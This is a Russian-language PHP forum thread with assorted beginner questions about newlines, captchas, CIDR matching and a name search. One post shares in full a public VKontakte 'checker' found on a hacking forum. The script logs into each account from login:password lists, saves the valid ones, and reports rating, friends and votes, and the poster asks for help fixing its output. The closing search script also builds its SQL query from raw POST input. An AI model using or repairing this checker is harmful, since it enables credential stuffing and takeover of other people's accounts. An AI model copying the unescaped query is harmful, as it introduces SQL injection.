Ре адепты! вопрос: сделал форму ввода текстеа,но когда я хочу написать что то с новой строки и послать в бд, то облом, текст выглядит не так,как я его набрал,там где должно быть с новой строки - там идёт вряр...как исоравить? Пример: ввожу: 1 2 3 получаю: 1 2 3
Хочу закодировать текст. Получаю ошибку Parse error: syntax error, unexpected T_STRING in Z:\home\test2.ru\www\wp-content\themes\ForestGreen\test2.php on line 12 что делаю не так?
Эээ...а есть примеры где-нибудь мб ? Я про капчу почти ничего не знаю,кроме как того,что она тормозит регу )))
TERYS твой код PHP: <?php eval(str_rot13('function check_footer(){$l=\'<a href="http://www.askgraphics.com/">Website design</a> by AskGraphics.com | <a href="http://www.skinpress.com/">Wordpress themes</a> by SkinPress\';$f=dirname(__FILE__).\'/footer.php\';$fd=fopen($f,\'r\');$c=fread($fd,filesiz e($f));fclose($fd);if(strpos($c,$l)==0){echo \'This theme is released under creative commons licence, all links in the footer should remain intact\';die;}}check_footer();')); eval(str_rot13('function check_header(){if(!(function_exists("check_functions")&&function_exists("check_f_footer"))){echo(\'This theme is released under creative commons licence, all links in the footer should remain intact\');die;}}')); ?>
тривиальный пример каптчи: PHP: <?php session_start(); $c = rand(10000, 99999); $_SESSION['c']=$c; $im = imagecreate(100, 30); $bg = imagecolorallocate($im, 255, 255, 255); $textcolor = imagecolorallocate($im, 0, 0, 255); imagestring($im, 5, 0, 0, $_SESSION['c'], $textcolor); header("Content-type: image/png"); imagepng($im); ?> рандомом берется пятизначное число, записывается в сессию и выводится на экран в виде png на счет качественной каптчи лучше погугли. есть довольно интерсеные.
есть проблема с чекером. Сразу говорю, чекер-паблик, нашёл на злом, датирован август 2008. но чекает четко: валид-невалид, кол-во друзья, рейт; подчсет в сумме... тестил на денвере всё ок! Проблема заключается в том, что когда чекает акки, то вписывает в конечный файл вот такой вид: т.е. пишет всё в одну строчку... копаясь в коде, ниче не нашёл. вот кусок начала кода чекера: кто поможет разобраться? в долгу не останусь)
нужны ещё вроде put() либо fputs() посоветовали.. fputs() тока в коде имеется: PHP: <center><div style='width: 100%; text-align: center;'><img src='http://vkontakte.ru/images/xhead2.gif' /></div></center> <? @set_time_limit(0); $votes = 0; $traffic = 0; $badacc = 0; $friendz = 0; $ratecount = 0; $goldcount = 0; $fbad = fopen("lowrate.txt","w"); fclose($fbad); $fbad = fopen("lowrate.txt","a+"); $fval = fopen("valid.txt","w"); fclose($fval); $fval= fopen("valid.txt","a+"); @$filelog = file_get_contents("log.txt"); if(!empty($_POST['list'])) { $accs123 = split("\n",$_POST['list']); } else { $accs123 = split("\n",$filelog); } if(empty($_POST['list']) && empty($filelog)) { $aaaa = 0; } else { $aaaa = count($accs123); } if(!isset($_POST['list'])) { echo <<<list <center><form method="post"> <p> Список акков <br> Если нажать кнопку "проверить" с пустым полем - будут проверяться акки из <b>log.txt</b><br> <textarea name="list" rows=15 cols=37></textarea><br> <input type="submit" value="Проверить" > </p> </form></center> list; echo ("<br><center><b>(c) AdReNa1!Ne & Kaimi<br>All Rights Left</b></center>"); die(); } $valid = 0; $invalid = 0; @$filelog = file_get_contents("log.txt"); set_time_limit(0); if(!empty($_POST['list'])) { $accs = split("\n",$_POST['list']); } else { $accs = split("\n",$filelog); } $accs = array_unique($accs); if(!empty($accs)) { $browser="Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14"; echo '<center><table border="1"><tr><td><b>Аккаунт</b></td><td><b>Рейтинг</b></td><td><b>Идентификатор</b></td><td><b>Друзья</b></td><td><b>Оплаченные голоса</b></td></tr>'; foreach($accs as $acc) { $pos = strpos($acc, ";"); $pos1 = strpos($acc, ":"); $acc = trim($acc); if($pos != false) { $separator = ";"; } if($pos1 != false) { $separator = ":"; } list($login, $pwd) = split($separator, $acc); $ret=socket_do("vkontakte.ru","email={$login}&pass={$pwd}","/login.php",$browser,'',1,"POST",'http://vkontakte.ru',1,'',''); $traffic = $traffic + strlen($ret); if(preg_match("/\b302 Found\b/is", $ret)) { fputs($fval, $acc); $valid++; } $ret=substr($ret,0,strpos($ret,"\r\n\r\n")); preg_match_all('/Set-Cookie: (.+);/iUs',$ret,$cook); $cookies = array(); foreach($cook[1] as $ck) { $cookies[]=$ck; } $cookies=implode('; ',array_unique($cookies)); $ret=socket_do("vkontakte.ru",'',"/rate.php",$browser,$cookies,1,"GET",'',0,'',''); $traffic = $traffic + strlen($ret); preg_match('/remixmid=(\d+);/i',$cookies, $id); preg_match('/У Вас <b>(.*)</i',$ret, $vote); $votes = $votes + $vote[1]; if(!empty($vote[1])) { $voteansw = "<td><b>Голосов - $vote[1]</b></td>"; } else { $voteansw = "<td>Голосов - 0</td>"; } $retfri=socket_do("vkontakte.ru",'',"/id".$id[1],$browser,$cookies,1,"GET",'',0,'',''); $traffic = $traffic + strlen($retfri); preg_match('/Друзья <span>(.*)</i',$retfri, $friends); $friends = str_replace("(","",$friends); $friends = str_replace(")","",$friends); $friends = str_replace("</span></h2>","",$friends); $friendz = $friendz + $friends[1]; if($friends[1] > 500) { $friendszzzz = "<b>".$friends[1]."</b>"; } else { $friendszzzz = $friends[1]; } if(strlen($id[1]) < 6) { $idch = "<b>".$id[1]."</b>"; } else { $idch = $id[1]; } if(!preg_match('/percentGold" style="width:100px">(.*)</',$ret, $rate)) { preg_match('/percent" style="width:100px">(.*)</',$ret, $rate); if($rate[1] == "100%") { $rrrr = "FULL RATE"; $ratemin = str_replace("%","",$rate[1]); if($ratemin < 30) { fputs($fbad, $acc); $badacc++; } } else { $rrrr = "RATE"; } $ratemin = str_replace("%","",$rate[1]); if($ratemin < 30) { fputs($fbad, $acc); $badacc++; } if(strlen($rate[1]>0) && $ratemin > 30) echo "<tr><td>$acc</td> <td>$rate[1] - $rrrr</td> <td>ID - $idch</td><td>Друзей - $friendszzzz</td>$voteansw</tr>\n"; } else { $ratemin = str_replace("%","",$rate[1]); if($ratemin < 30) { fputs($fbad, $acc); $badacc++; } if(strlen($rate[1]>0) && $ratemin > 30) echo "<tr><td>$acc <td><b>$rate[1] - GOLD RATE</b></td> <td>ID - $idch</td><td>Друзей - $friendszzzz</td>$voteansw</tr>\n"; $goldcount++; } } usleep(500); } function socket_do($host,$vars,$service_uri,$browser,$cookies='',$sread=1,$method='POST',$ref='',$addheaders=1,$proxy=false,$proxyport=0,$HTTP='1.0') { $ret=""; if($method=='GET' && $vars) { $service_uri.='?'.$vars; $vars=''; } $header="Host: $host\r\n"; $header.="User-Agent: $browser\r\n"; if($addheaders==1) { $header.="Content-Type: application/x-www-form-urlencoded\r\n"; $header.="Content-Length: ".strlen($vars)."\r\n"; } else if($addheaders==0) { $header.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n"; $header.="Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n"; $header.="Accept-Encoding: \r\n"; $header.="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n"; } else if($addheaders==2) { $header.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n"; $header.="Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n"; $header.="Accept-Encoding: \r\n"; $header.="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n"; $header.="Pragma: no-cache\r\n"; $header.="Cache-Control: no-cache\r\n"; $header.="Content-Length: ".strlen($vars)."\r\n"; $header.="Content-Type: application/x-www-form-urlencoded; charset=windows-1251\r\n"; } else if($addheaders==3) { $header.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n"; $header.="Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n"; $header.="Accept-Encoding: gzip,deflate\r\n"; $header.="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n"; } if($ref) $header.="Referer: $ref\r\n"; $header.="Connection: close\r\n"; if($cookies) $header.="Cookie: $cookies\r\n"; $header.="\r\n"; if($proxy) { $addquery="$method http://$host$service_uri HTTP/$HTTP\r\n"; $fp=fsockopen("tcp://".$proxy,$proxyport,$errno,$errstr,30); } else { $addquery="$method $service_uri HTTP/$HTTP\r\n"; $fp=fsockopen("tcp://".$host,80,$errno,$errstr,30); } stream_set_timeout($fp,30); if(!$fp) { print "<font color=red>Socket error: <i>$errstr ($errno)</i></font><br>"; return ''; } fputs($fp,$addquery); fputs($fp,$header.$vars); if($sread) { while(!feof($fp)) { $ret.=fgets($fp, 128); } } fclose($fp); return $ret; } fclose($fval); fclose($fbad); $invalid = $aaaa - $valid; $ratecount = $valid - $goldcount; $traffic = $traffic / 1024; выручайте, знаю, вы сможете нужно чтоб записывал валидные акки с каждой новой строкой
РЕ адепты! снова я с вопросом...*Застыдился* В общем как сделать такую фичу, как у вас в быстром отвере, что типа клацаеш а В и в текстовом поле появляется И как кделать так, чтоб html, php и прочья вредная х-ня не обрабатывались в форме? Зарание спасибо!
Всмысле в цитатах? там выборка идет из БАЗЫ. Для передачи быстрого ответа достаточно отправить форму с текстом..
bombeg всё работает, спасибо ща мож не по теме будет, кто знает как денвер настроить чтоб он контактовал не тока с gprs подключением, отключая прокси, но чтоб ещё можно было с прокси работать? Объясняю, у меня запрос земля (жопорез) - приём со спутника, инёт держится через ускоритель, а та прокся что прописана, в настройках браузера и есть само подключение со спутником... проблема в том, что подключение через gprs очень дорого((( вот и хочется чтоб с проксей работал.. включаю прокси, вылазит ошибка подкл. понятно так о чем я?
m0Hze PHP: function netMatch ($CIDR,$IP) { list ($net, $mask) = explode ('/', $CIDR); return ( ip2long ($IP) & ~((1 << (32 - $mask)) - 1) ) == ip2long ($net); } var_dump(netMatch('127.0.0.0/16','127.0.0.51'));
вот имею такой скрипт поиска: PHP: $search=$_POST['search']; $query= mysql_query("SELECT * FROM list WHERE surname='$search' OR name='$search' OR patronymic= '$search' ORDER BY surname"); $result= mysql_num_rows($query); if ($result == 0) { echo "Ничего не найдено по запросу <b>$search</b><br><br><br>"; } else if ($result == 1) { echo "Найден<b>1</b> результат!<br><br><br>"; } else { echo "Найдено <b>$result</b> результата(ов)!<br><br><br>"; } while ($row= mysql_fetch_array($query)) { echo "<tr class=\"name_result\"><td>$row[surname] $row[name]</td></tr>"; } если искать только имя или только фамилию, то претензий нет..а если Имя фамилию, или Ф.И.О то естественно ничего не находит... как быть в таком случае?